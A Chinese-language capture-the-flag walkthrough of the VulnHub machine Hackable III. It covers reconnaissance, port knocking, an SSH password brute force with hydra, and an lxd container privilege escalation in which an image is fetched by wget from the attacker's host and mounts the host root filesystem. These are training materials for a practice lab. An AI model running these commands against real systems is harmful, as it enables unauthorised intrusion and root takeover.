靶机介绍
下载地址: http://www.vulnhub.com/entry/hackable-iii,720/
难度:中等
渗透过程
准备
将靶机下载下来,我这里使用的是virtualbox,下载的是.ova文件。下载之后用virtualbox打开,设置网络为桥接模式。
获取IP
使用arp-scan工具,我们得到靶机的IP为:192.168.1.106。
arp-scan -l
端口扫描
nmap -A -T4 -p 1-65535 192.168.1.106
这里我们看到开放了两个端口:22和80。其中,22端口的状态是“filtered”。nmap在端口扫描的时候会判断一下端口的状态。
Filtered:由于报文无法到达指定的端口,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文(例如:type为3,code为13(communication administratively prohibit)报文)或者目标主机无应答,常常会将目标主机的状态设置为filtered。
信息收集
- 由于靶机开放了80端口,我们访问它的http服务,如下图所示,是一张图片。
查看源代码,会发现两个信息:
信息1
账户登录网址:
打开这个网址,我们目前是没有账号和密码的信息的。
信息2
这里有一行注释:
"Please, jubiscleudo, don't forget to activate the port knocking when
exiting your section, and tell the boss not to forget to approve the .jpg
file - dev_suport@hackable3.com"
这里我们获得了一个名字jubiscleudo,然后提醒他不要忘记激活端口碰撞,并且要让这个网站支持jpg文件。
2. 接下来,我使用dirb对网站的目录进行了扫描。我们对扫描出的网址一一进行访问。
dirb http://192.168.1.106
信息3
http://192.168.1.106/backup网址下我们得到了一个wordlist.txt。我们把它保存下来,之后可能会用于暴力破解。
信息4
http://192.168.1.106/config/这个网址下是一个1.txt文件,里面是一段base64编码的乱码。通过解码我们的到一个端口10000。
信息5
http://192.168.1.106/css/网址下有2.txt文件,里面是用brainfuck编码的乱码,解码之后是4444.
信息6
我们也可以用dirb扫描特殊文件,根据信息2这里专门扫一下jpg文件,扫到了一个3.jpg。
我尝试用exiftool查看,没有发现信息。然后哦使用隐写工具查看得到端口65535
信息7
http://192.168.1.106/login.php网址查看源代码。这里是说用‘user’,'pass’登录信息1中的登录网址,会执行这个php脚本,查看源代码如下。
端口碰撞
从信息2中我们得知这个网站使用了端口碰撞技术,那么,我们可以尝试用端口碰撞打开22端口。
端口碰撞是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。
也就是说,攻击者可能通过端口扫面来利用一些端口服务来发动攻击,但是一些固定的端口又需要开放来满足远程维护需求,因此,我们可以使用端口碰撞技术来形成一个访问控制。
我们需要去碰撞一个特定的端口序列,才能够打开我们想要访问的端口。
这里,我们可以使用knock命令:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
那现在我们把信息4—6收集到端口号带进去。再次端口扫描,22端口为open状态。
knock 192.168.1.106 10000 4444 65535
ssh登录
我们有一个用户名,然后我们需要知道ssh的密码。使用hydra进行暴力破解,这里还要用到信息3中获取的字典。得到密码。
hydra -l jubiscleudo -P wordlist.txt 192.168.1.106 ssh
首先在jubiscleudo文件夹下收集信息,除了看到一个企鹅,领英的网址,没有收获。
这里我们看到有两个用户文件夹,尝试用hydra破解密码没破解出来,气哦。
在网站的backup_config.php中,我们得到hackable_3的密码。
切换用户:
提权
查看hackable_3的id。
当当前用户具有lxd权限时(通过id命令可以查看),可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限。
- 首先在本地下载好镜像,然后生成tar包,传到靶机中。
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python3 -m http.server 9000
2. 靶机段把tar包下载下来,然后加载到lxd中。
wget http://192.168.1.104:9000/alpine-v3.14-x86_64-20210831_0918.tar.gz
lxc image import ./alpine-v3.14-x86_64-20210831_0918.tar.gz
lxd init(一直回车就行)
这里lxc init后面跟的是image的Fingerprint。
lxc init 23d18b72258c ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
然后我们就获得了root权限。